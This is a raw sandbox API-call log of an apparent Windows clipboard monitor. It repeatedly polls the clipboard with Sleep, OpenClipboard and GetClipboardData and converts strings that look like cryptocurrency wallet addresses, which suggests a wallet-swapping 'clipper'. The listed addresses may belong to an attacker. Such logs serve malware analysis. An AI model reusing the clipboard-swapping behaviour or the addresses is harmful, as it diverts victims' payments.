lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.701] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.701] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="K\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.701] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="Q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.701] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.701] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="y\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.701] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="i\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.702] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.702] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.702] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="A\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.702] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="M\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.702] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="f\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.702] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.702] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="l\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.703] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="N\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.703] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="p\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.703] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="k\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.703] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="c\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.703] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e68, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="1Htm9mQkBRRH6yD6oRL4QoSqoj5SphShohx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0050.703] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3438, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="qz4c9989lurmv3uuhyux34jxy77uttah8yunhl65lpMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0050.703] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3470, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="0xcDfF92e9c364E2707e5C71494ee95f16F44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0050.703] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e98, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="XeHqXvMCCbSJsNK5RsoSrRuWoDU94iTUnjF44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0050.703] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1d8dab8, cbMultiByte=106, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 106 [0050.703] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8ec8, cbMultiByte=35, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="t1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 35 [0050.703] Sleep (dwMilliseconds=0x64) [0050.836] GetOpenClipboardWindow () returned 0x0 [0050.836] OpenClipboard (hWndNewOwner=0x0) returned 1 [0050.836] GetClipboardData (uFormat=0xd) returned 0x6069b8 [0050.836] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0050.838] GlobalSize (hMem=0x6069b8) returned 0x42 [0050.838] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc", len=0x21 | out: pbstr=0x18ff50*="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc") returned 1 [0050.840] GlobalUnlock (hMem=0x6069b8) returned 1 [0050.840] CloseClipboard () returned 1 [0050.840] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.840] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.840] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.841] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.842] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.842] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.842] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="G\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.842] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="F\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.842] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.842] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.842] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.843] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.843] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="h\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.843] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="o\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.843] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.843] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.843] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="K\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.843] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="Q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.843] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.844] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="y\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.844] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="i\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.844] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.844] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.844] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="A\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.844] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="M\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.844] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="f\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.844] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.844] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="l\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.845] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="N\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.845] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="p\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.845] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="k\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.845] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="c\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.845] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e68, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="1Htm9mQkBRRH6yD6oRL4QoSqoj5SphShohx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0050.845] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3438, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="qz4c9989lurmv3uuhyux34jxy77uttah8yunhl65lpMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0050.845] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3470, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="0xcDfF92e9c364E2707e5C71494ee95f16F44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0050.845] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e98, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="XeHqXvMCCbSJsNK5RsoSrRuWoDU94iTUnjF44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0050.845] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1d8dab8, cbMultiByte=106, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 106 [0050.845] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8ec8, cbMultiByte=35, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="t1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 35 [0050.846] Sleep (dwMilliseconds=0x64) [0050.952] GetOpenClipboardWindow () returned 0x0 [0050.953] OpenClipboard (hWndNewOwner=0x0) returned 1 [0050.953] GetClipboardData (uFormat=0xd) returned 0x6069b8 [0050.953] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0050.953] GlobalSize (hMem=0x6069b8) returned 0x42 [0050.953] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc", len=0x21 | out: pbstr=0x18ff50*="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc") returned 1 [0050.953] GlobalUnlock (hMem=0x6069b8) returned 1 [0050.953] CloseClipboard () returned 1 [0050.953] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.969] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: 